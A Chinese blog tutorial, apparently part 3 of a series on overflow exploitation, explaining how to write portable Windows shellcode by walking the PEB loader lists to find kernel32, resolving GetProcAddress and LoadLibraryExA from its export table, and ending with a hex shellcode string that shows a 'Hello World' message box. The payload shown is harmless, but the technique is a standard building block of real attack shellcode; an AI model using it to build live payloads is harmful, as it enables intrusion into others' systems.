溢出漏洞原理及利用(3)

溢出漏洞原理及利用

本文是作者學習過程的筆記整理而來的,如有錯誤,還請見諒!

接上一篇

適用性更強的MessageBox

之前我們寫的MessageBox,是直接在調試器中找到的地址.當模塊使用動態加載基址的時候,我們重啓系統或者在其他機器上運行的時候,函數地址就改變了.
爲了程序在其他系統通用,需要動態獲取MessageBoxA和EixtProcess函數的地址.
思路就是:
使用FS寄存器找到當前TEB,得到0x30處的PEB,通過PEB中0xC0出的位置找到PEB_LDR_DATA的結構體指針,使用其中的三個模塊信息鏈表尋找kernel32.dll,然後找到dll中導出的GetProcAddress函數的地址,使用GetProcAddress函數獲取LoadLibrary函數的地址
有了這兩個函數,其他函數就都可以獲取了.
一般三個鏈表順序如圖(第一個都爲ntdll.dll):
這裏寫圖片描述
通過三個鏈表查看加載模塊信息,代碼:

    int main()
{
    void *PEB = NULL,
        *Ldr = NULL,
        *FlinkLoad = NULL,
        *FlinkMem = NULL,
        *FlinkInit = NULL,
        *p = NULL,
        *BaseAdd = NULL,
        *FullName = NULL,
        *BaseDllName = NULL;
    __asm 
    {
        push eax;
        mov eax, fs:[0x30];// PEB
        mov PEB, eax;
        pop eax;
    }
    Ldr = (PVOID)*((PDWORD)((DWORD)PEB + 0x0C));
    FlinkLoad = (PVOID)*((PDWORD)((DWORD)Ldr + 0x0C));
    FlinkMem = (PVOID)*((PDWORD)((DWORD)Ldr + 0x14));
    FlinkInit = (PVOID)*((PDWORD)((DWORD)Ldr + 0x1C));
    printf("------使用加載順序鏈查找-----\n\n");
    // 使用加載鏈找
    p = FlinkLoad;
    do 
    {
        BaseAdd = (PVOID)*(PDWORD)((DWORD)p + 0x18);
        FullName = (PVOID)*((PDWORD)((DWORD)p + 0x28));
        BaseDllName = (PVOID)*((PDWORD)((DWORD)p + 0x30));
        wprintf(L"FullName is %s\n", FullName);
        wprintf(L"BaseDllName is %s\n",BaseDllName);
        printf("BaseAddress is 0x%x\n", BaseAdd);
        p = (PVOID)*((PDWORD)p);
    } while (FlinkLoad!=p);


    printf("------使用內存順序鏈查找-----\n\n");
    // 使用內存鏈找
    p = FlinkMem;
    do 
    {
        BaseAdd = (PVOID)*((PDWORD)((DWORD)p + 0x10));
        FullName = (PVOID)*((PDWORD)((DWORD)p + 0x20));
        BaseDllName = (PVOID)*((PDWORD)((DWORD)p + 0x28));
        wprintf(L"FullName is %s\n", FullName);
        wprintf(L"BaseDllName is %s\n",BaseDllName);
        printf("BaseAddress is 0x%x\n", BaseAdd);
        p = (PVOID)*((PDWORD)p);
    } while (FlinkMem!=p);
    printf("------使用初始化順序鏈查找----\n\n");
    // 使用初始化鏈找
    p = FlinkInit;
    do
    {
        BaseAdd = (PVOID)*((PDWORD)((DWORD)p + 0x08));
        FullName = (PVOID)*((PDWORD)((DWORD)p + 0x18));
        BaseDllName = (PVOID)*((PDWORD)((DWORD)p + 0x20));
        wprintf(L"FullName is %s\n", FullName);
        wprintf(L"BaseDllName is %s\n",BaseDllName);
        printf("BaseAddress is 0x%x\n", BaseAdd);
        p = (PVOID)*((PDWORD)p);
    }
    while (FlinkInit != p);
    return 0;
}

根據以上思路開始實現.
1.獲取kernel32基址(這裏我們通過第三個鏈表來獲取kernel32.dll的基址):

//獲取kenerl32模塊基址
        mov esi, dword ptr fs : [0x30];             //esi=PEB地址
        mov esi, [esi + 0x0C];                      //esi=指向PEB_LDR_DATA結構體的指針
        mov esi, [esi + 0x1C];                      //esi=結構體中的第三個鏈表InInitializationOrderMoudleList指針
        mov esi, [esi];                             //esi=鏈表中第二個元素即kernelBase模塊的信息
        mov esi, [esi];                             //esi=鏈表中第三個元素即kernel32模塊的信息
        mov edx, [esi + 0x8];                       //edx=DllBase(即kernel32的基址)

2.獲取GetProcAddress函數地址

//獲取關鍵函數地址
    fun_GetProcAddress: //(int ImageBase,int BaseAddr)
        push ebp;
        mov ebp, esp;
        sub esp, 0x0C;
        push edx;
        //獲取EAT,ENT與EOT的地址
        mov edx, [ebp + 0x08];                      //kernel32.dll基址
        mov esi, [edx + 0x3C];                      //IMAGE_DOS_HEADER.elfanew
        lea esi, [edx + esi];                       //PE文件頭VA(基址+偏移)
        mov esi, [esi + 0x78];                      //IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress  
        lea esi, [edx + esi];                       //導出表VA
        mov edi, [esi + 0x1C];                      //_IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
        lea edi, [edx + edi];                       //EAT  VA
        mov[ebp - 0x04], edi;                       //Local_1=EAT  VA//導出地址表  
        mov edi, [esi + 0x20];                      //_IMAGE_EXPORT_DIRECTORY.AddressOfNames
        lea edi, [edx + edi];                       //ENT  VA
        mov[ebp - 0x08], edi;                       //Local_2=ENT  VA//導出名稱表  
        mov edi, [esi + 0x24];                      //_IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
        lea edi, [edx + edi];                       //EOT  VA
        mov[ebp - 0x0C], edi;                       //Local_3=EOT  VA//指向導出序列號數組
        //循環對比ENT中的函數名
        xor eax, eax;
        jmp tag_FirstCmp;
    tag_CmpFunNameCmp:
        inc eax;
    tag_FirstCmp:
        mov esi, [ebp - 0x08];                      //Local_2=ENT  VA
        mov esi, [esi + eax * 4];                   //ENT  RVA
        mov edx, [ebp + 0x08];                      //Param_1(ImageBase)
        lea esi, [edx + esi];                       //ENT  VA
        mov ebx, [ebp + 0x0C];                      //Param_2(BaseAddr)
        lea edi, [ebx - 0x51];                      //GetProcAddress字符串
        mov ecx, 0x0E;                              //GetProcAddress字符串長度
        cld;
        repe cmpsb;                                 //對比ESI,EDI
        jne tag_CmpFunNameCmp;                      //不相等繼續循環對比
        //對比成功後,找到對應的序號
        mov esi, [ebp - 0x0C];                      //Local_3=EOT  VA
        xor edi, edi;
        mov di, [esi + eax * 2];                    //用函數名數組下標在序號數組找到對應的序號
        //使用序號作爲索引,找到函數名所對應的函數地址
        mov edx, [ebp - 0x04];                      //Local_1=EAT  VA
        mov esi, [edx + edi * 4];                   //用序號在函數地址數組找到對應的函數地址
        mov edx, [ebp + 0x08];                      //edx=Param_1(ImageBaes)
        //返回關鍵函數地址
        lea eax, [edx + esi];                       //返回GetProcAddress函數地址
        pop edx;
        mov esp, ebp;
        pop ebp;
        retn 0x08;

3.獲取LoadLibraryExA函數地址

//獲取LoadLibraryExA函數地址
        lea ecx, [ebx - 0x43];                      //獲取LoadLibraryExA字符串地址
        push ecx;                                   //|-lpProcName="LoadLibraryExA"
        push edx;                                   //|-hMoudle=kernel32.dll
        call eax;                                   //GetProcAddress();

最終,寫完彙編代碼生成ShellCode,我們就能使用所有的函數了.
最後的shellcode:

// shellcode_helloworld2.cpp : 定義控制檯應用程序的入口點。
//

#include "stdafx.h"

char bShellcode[] = "\x60\x83\xEC\x20\xEB\x4C\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x45\x78\x41\x00\x55\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F\x78\x41\x00\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x00\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64\x00\xE8\x00\x00\x00\x00\x5B\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x36\x8B\x56\x08\x52\x53\x52\xE8\x13\x00\x00\x00\x8B\xF0\x8D\x4B\xBD\x51\x52\xFF\xD0\x5A\x53\x56\x50\x52\xE8\x6E\x00\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x52\x8B\x55\x08\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x32\x8B\x7E\x1C\x8D\x3C\x3A\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x3A\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x3A\x89\x7D\xF4\x33\xC0\xEB\x01\x40\x8B\x75\xF8\x8B\x34\x86\x8B\x55\x08\x8D\x34\x32\x8B\x5D\x0C\x8D\x7B\xAF\xB9\x0E\x00\x00\x00\xFC\xF3\xA6\x75\xE3\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x46\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x08\x8D\x04\x32\x5A\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x83\xEC\x08\x8B\x5D\x14\x8D\x4B\xCC\x6A\x00\x6A\x00\x51\xFF\x55\x0C\x8D\x4B\xD7\x51\x50\xFF\x55\x10\x89\x45\xFC\x8D\x4B\xE3\x51\xFF\x75\x08\xFF\x55\x10\x89\x45\xF8\x8D\x4B\xEF\x6A\x00\x51\x51\x6A\x00\xFF\x55\xFC\x6A\x00\xFF\x55\xF8\x8B\xE5\x5D\xC2\x10\x00";

int main()
{
    //Fun();
    _asm
    {
        lea eax, bShellcode;
        push eax;
        ret;
    }
    return 0;
}

運行效果:
這裏寫圖片描述


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章